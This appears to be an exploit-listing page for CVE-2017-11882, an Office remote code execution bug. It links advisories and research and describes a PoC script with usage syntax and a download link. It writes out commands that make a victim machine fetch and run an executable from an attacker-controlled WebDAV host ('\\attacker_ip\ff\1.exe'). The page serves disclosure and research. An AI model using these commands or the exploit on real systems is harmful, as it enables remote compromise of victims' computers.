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Microsoft Office - OLE Remote Code Execution Exploit CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ MITRE CVE-2017-11882: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882 Research: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about Patch analysis: https://0patch.blogspot.ru/2017/11/did-microsoft-just-manually-patch-their.html DEMO PoC exploitation: webdav_exec CVE-2017-11882 A simple PoC for CVE-2017-11882. This exploit triggers WebClient service to start and execute remote file from attacker-controlled WebDav server. The reason why this approach might be handy is a limitation of executed command length. However with help of WebDav it is possible to launch arbitrary attacker-controlled executable on vulnerable machine. This script creates simple document with several OLE objects. These objects exploits CVE-2017-11882, which results in sequential command execution. The first command which triggers WebClient service start may look like this: cmd.exe /c start \\attacker_ip\ff Attacker controlled binary path should be a UNC network path: \\attacker_ip\ff\1.exe Usage webdav_exec_CVE-2017-11882.py -u trigger_unc_path -e executable_unc_path -o output_file_name Sample exploit for CVE-2017-11882 (starting calc.exe as payload) example folder holds an .rtf file which exploits CVE-2017-11882 vulnerability and runs calculator in the system. Download: CVE-2017-11882-master.zip or git clone https://github.com/embedi/CVE-2017-11882.git Mirror: webdav_exec_CVE-2017-11882.py Source
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